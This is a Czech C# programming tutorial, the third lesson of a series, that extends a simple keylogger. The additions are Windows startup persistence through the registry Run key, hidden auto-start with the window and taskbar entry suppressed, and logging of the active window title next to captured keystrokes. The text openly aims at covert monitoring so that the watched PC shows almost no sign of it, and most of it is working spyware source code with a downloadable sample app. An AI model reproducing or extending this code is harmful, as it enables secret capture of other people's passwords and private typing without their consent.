Lekce 3 - Jednoduchý KeyLogger v C# - Spuštění po startu PC
V minulém dílu jsme zprovoznili jednoduchý KeyLogger. Dnes ho vylepšíme o možnost spuštění po startu Windows.
Určitě je to krásné, když se nám KeyLogger spouští sám při startu Windows. Když monitorovaný PC nejeví téměř žádnou známku o tom, že je monitorován. A vlezlý uživatel, co nemá na PC nic dělat je chycen při činu. A proto se na to pojďme podívat
using System; using System.Collections.Generic; using System.Linq; using System.Text; using Microsoft.Win32; using System.Windows.Forms; namespace KeyLogger { class Register { static RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); /// <summary> /// Nastaví/odstraní spouštění po startu /// </summary> /// <param name="run">Hodnota zda se má spouštět, či nikoli</param> public static void SetOnStartup(bool run) { if (run == true) rkApp.SetValue(Application.ProductName, Application.ExecutablePath.ToString() + " -h"); else rkApp.DeleteValue(Application.ProductName, false); } /// <summary> /// Zjistí, zda je program nastaven po spuštění. Pokud ano a změnila se cesta, tak ji aktualizuje. /// </summary> /// <returns></returns> public static bool IsOnStartup() { if (rkApp.GetValue(Application.ProductName) == null) return false; if (!System.IO.File.Exists(rkApp.GetValue(Application.ProductName).ToString())) rkApp.SetValue(Application.ProductName, Application.ExecutablePath.ToString()); return true; } } }
A teď použití. Přidejme na formulář ještě jeden checkBox a nazvěme ho "chbStartWithWindows", můžeme ho nadepsat "Spusti při startu Windows?" Dále si vytvořme metodu s názvem "CheckStartProgram"
// Kontrola, zda se má program spustit po startu, pakliže ano, spustím i logování private void CheckStartProgram() { if (chbStartWithWindows.Checked == true) { Register.SetOnStartup(chbStartWithWindows.Checked); chbCheckRules.Checked = true; // zaháčkuji okno s pravidly StartKeyLogger(); // volání metody pro spuštění this.Hide(); this.ShowInTaskbar = false; } else { Register.SetOnStartup(chbStartWithWindows.Checked); } }
Možná jste se všimli, ale volám zde metodu pro odstartování KeyLoggeru. Ano, vytvořil jsem z obsahu tlačítka btnStart metodu, abych nemusel jeho kód psát 2x. Kód tlačítka vypadá takto:
private void btnStart_Click(object sender, EventArgs e) { StartKeyLogger(); }
A motoda pro start keyloggeru vypadá tedy takto:
private void StartKeyLogger() { this.Text = "KeyLogger 1.5 - Zapnut"; // nadepíšu toto hlavní okno btnStop.Enabled = true; // povolím tlačítko pro vypnutí KeyLoggeru btnStart.Enabled = false; // zakážu tlačítko pro spuštění KeyLoggeru tCheckKey.Enabled = true; // zapnu timer pro snímání kláves tCheckHide.Enabled = true; // zapnut timer umožňující skrývání tClearField.Enabled = true; // zapnu timer pro mazání okna }
Nyní si upravíme událost Form1_Load, která nastává při vytvoření formuláře. Potřebujeme aby se při vytvoření zapnul KeyLogger, pokud je zaháčkovaný, že se má zapnout při startu.
private void Form1_Load(object sender, EventArgs e) { /* Pokud tedy je zaháčkovaný checkBox po spuštění, metoda zapne keyLogger rovnou skrytě. * Pokud není zaháčkovaný, keyLogger se spustí, jako kdyby se spustil poprvé. */ CheckStartProgram(); // voláme metodu, pro zjistění stavu spuštění. }
Teď je třeba zajistit, aby se nastavilo spuštění při startu. Uděláme to v metodě CheckedChanged našeho chbStartWithWindows. Kód vypadá takto:
private void chbStartWithWindows_CheckedChanged(object sender, EventArgs e) { Register.SetOnStartup(chbStartWithWindows.Checked); }
Nyní nám chybí už jen zajistit, aby při spuštění programu se zjistilo a tím pádem i zaháčkovalo(odháčkovalo), zda má být program spuštěn po startu Winodows. To můžeme udělat v public Form1. Tedy upravíme to na toto:
public Form1() { InitializeComponent(); chbStartWithWindows.Checked = Register.IsOnStartup(); // nastavíme checkBox podle toho, existence registru na spuštění keyLoggeru po startu windows }
To by mělo být k nastavení možnosti po spuštění Windows asi vše
Nyní už jen přehlednost a máte pěkný KeyLogger
Pro zpřehlednění logu je třeba vytvořit další třídu. Nazvěme ji ActiveWindow. Jak je již z názvu patrné, budeme zjišťovat, které okno je aktivní. Třída bude vpadat takto:
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Runtime.InteropServices; namespace KeyLogger { public static class ActiveWindow { [DllImport("user32.dll")] static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll")] static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); public static string GetTitle() // metoda, která nám vrací název okna { const int nChars = 256; // maximální délka názvu IntPtr handle = IntPtr.Zero; StringBuilder title = new StringBuilder(nChars); handle = GetForegroundWindow(); if (GetWindowText(handle, title, nChars) > 0) return title.ToString(); return ""; } } }
Teď už jen použití. Použití tohoto nám upraví kód timeru tCheckKey Nezapomeňte vytvořit proměnnou sActiveWindowOld!
string sActiveWindowOld = ""; private void tCheckKey_Tick(object sender, EventArgs e) { string activeWindow = ActiveWindow.GetTitle(); if (activeWindow != sActiveWindowOld) // pokud je aktivní okno jiné, než okno, které bylo aktivní předtím, if (activeWindow != "") // a součas jeho název není prázdný tbLog.Text += "\r\n" + activeWindow + ": "; // Vytvořím nový záznam do TB o novém okně tbLog.Text += Key.GetBuffKeys(); // Přidám stiklou klávesu tbLog.Text = Key.ReplaceChars(tbLog.Text); // Pozměním nějaké znaky, jako "space" za " " a pod sActiveWindowOld = activeWindow; // Nastavím do starého okna nové okno }
Taaaak, to by mělo být naprosto všechno k velmi jednoduchému keyLoggeru.
Snad to funguje jak má. KeyLogger můžeze libovolně vylepšovat, rád
uvítám vaše názory na vylepšení a podobně
Měl jsi s čímkoli problém? Stáhni si vzorovou aplikaci níže a porovnej ji se svým projektem, chybu tak snadno najdeš.
Stáhnout
Stažením následujícího souboru souhlasíš s licenčními podmínkami
Staženo 1250x (80.68 kB)
Aplikace je včetně zdrojových kódů v jazyce C#